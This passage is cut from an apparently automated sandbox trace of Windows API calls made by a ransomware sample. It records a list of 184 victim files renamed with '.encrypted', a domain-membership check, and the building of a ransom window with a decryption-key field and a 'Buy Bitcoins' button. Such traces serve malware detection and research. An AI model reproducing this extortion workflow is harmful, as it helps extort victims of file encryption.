hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5ea10, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5ea10*=0) returned 1 [0035.890] ReadFile (in: hFile=0x18c, lpBuffer=0x26a4cacb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5ea50, lpOverlapped=0x0 | out: lpBuffer=0x26a4cacb00*, lpNumberOfBytesRead=0x26a4a5ea50*=0x324a, lpOverlapped=0x0) returned 1 [0035.890] ReadFile (in: hFile=0x18c, lpBuffer=0x26a4cacb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5ea50, lpOverlapped=0x0 | out: lpBuffer=0x26a4cacb00*, lpNumberOfBytesRead=0x26a4a5ea50*=0x0, lpOverlapped=0x0) returned 1 [0035.890] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.890] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.890] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0035.890] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5e930, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5e930*=12874) returned 1 [0035.890] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.890] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5e930, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5e930*=0) returned 1 [0035.890] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5e880, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5e880*=0) returned 1 [0035.890] ReadFile (in: hFile=0x18c, lpBuffer=0x26a4cacb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5e8c0, lpOverlapped=0x0 | out: lpBuffer=0x26a4cacb00*, lpNumberOfBytesRead=0x26a4a5e8c0*=0x324a, lpOverlapped=0x0) returned 1 [0035.890] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.890] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.891] SetWindowTextW (hWnd=0x6018a, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0035.901] SendMessageW (hWnd=0x6018a, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0035.902] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.902] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0035.902] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.902] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.902] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.902] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0035.902] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.903] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0035.903] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0035.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0035.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x26a4c91b50, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0035.911] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0035.911] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0x26a4a5df48, BufferType=0x26a4a5df70 | out: lpNameBuffer=0x26a4a5df48*="WORKGROUP", BufferType=0x26a4a5df70) returned 0x0 [0035.915] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0035.917] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 1 [0035.917] TranslateMessage (lpMsg=0x26a4a5e7d0) returned 0 [0035.917] DispatchMessageW (lpMsg=0x26a4a5e7d0) returned 0xffffffff [0035.917] GetForegroundWindow () returned 0x301cc [0035.917] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0035.917] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.917] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.917] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.917] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0035.917] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 0 [0035.918] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0035.918] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0035.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x26a4c919b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0035.926] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0035.927] NetApiBufferSize (in: Buffer=0x26a4cabd80, ByteCount=0x26a4a5d6a8 | out: ByteCount=0x26a4a5d6a8) returned 0x0 [0035.927] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0035.928] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 0 [0035.928] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 0 [0035.929] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0035.929] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.929] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.930] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0035.930] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0035.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x26a4c91a70, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0035.936] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0035.936] NetApiBufferFree (Buffer=0x26a4cabd80) returned 0x0 [0035.936] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0035.937] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.937] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.937] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.937] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.937] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.937] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.938] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.938] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.938] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x7004e, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x601e6 [0035.938] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.938] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x50001, lParam=0x601e6) returned 0x0 [0035.939] GetStockObject (i=17) returned 0x10a0047 [0035.939] SendMessageW (hWnd=0x601e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0035.939] GetSysColor (nIndex=18) returned 0x0 [0035.939] GetClientRect (in: hWnd=0x601e6, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.939] GetWindowRect (in: hWnd=0x601e6, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.939] SetWindowLongPtrW (hWnd=0x601e6, nIndex=-21, dwNewLong=0x5) returned 0x0 [0035.939] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.939] GetDC (hWnd=0x0) returned 0x1601069e [0035.939] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0035.939] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0035.939] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x500a06d8 [0035.939] SendMessageW (hWnd=0x601e6, Msg=0x30, wParam=0x500a06d8, lParam=0x1) returned 0x0 [0035.939] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.939] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.940] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x7004e, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x3011c [0035.940] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.940] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.940] GetWindowLongPtrW (hWnd=0x3011c, nIndex=-21) returned 0x0 [0035.940] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x111, wParam=0x4000006, lParam=0x3011c) returned 0x0 [0035.940] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.940] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.940] GetWindowLongPtrW (hWnd=0x3011c, nIndex=-21) returned 0x0 [0035.940] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x111, wParam=0x3000006, lParam=0x3011c) returned 0x0 [0035.940] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.940] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x55, wParam=0x3011c, lParam=0x3) returned 0x2 [0035.940] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.940] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0035.941] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.941] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x60001, lParam=0x3011c) returned 0x0 [0035.941] GetStockObject (i=17) returned 0x10a0047 [0035.941] SendMessageW (hWnd=0x3011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0035.941] GetClientRect (in: hWnd=0x3011c, lpRect=0x26a4a5ef20 | out: lpRect=0x26a4a5ef20) returned 1 [0035.941] GetWindowRect (in: hWnd=0x3011c, lpRect=0x26a4a5ef20 | out: lpRect=0x26a4a5ef20) returned 1 [0035.941] SetWindowLongPtrW (hWnd=0x3011c, nIndex=-21, dwNewLong=0x6) returned 0x0 [0035.941] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.941] GetDC (hWnd=0x0) returned 0x1601069e [0035.941] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0035.941] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0035.941] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0x2a0a05c5 [0035.941] SendMessageW (hWnd=0x3011c, Msg=0x30, wParam=0x2a0a05c5, lParam=0x1) returned 0x1 [0035.942] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.942] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x7004e, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x90020 [0035.942] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.942] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x55, wParam=0x90020, lParam=0x3) returned 0x2 [0035.942] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.942] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0035.942] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.942] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x70001, lParam=0x90020) returned 0x0 [0035.943] GetStockObject (i=17) returned 0x10a0047 [0035.943] SendMessageW (hWnd=0x90020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0035.943] GetClientRect (in: hWnd=0x90020, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.943] GetWindowRect (in: hWnd=0x90020, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.943] SetWindowLongPtrW (hWnd=0x90020, nIndex=-21, dwNewLong=0x7) returned 0x0 [0035.943] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.943] GetDC (hWnd=0x0) returned 0x1601069e [0035.943] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0035.943] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0035.943] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x80a06e1 [0035.943] SendMessageW (hWnd=0x90020, Msg=0x30, wParam=0x80a06e1, lParam=0x1) returned 0x0 [0035.944] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.944] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 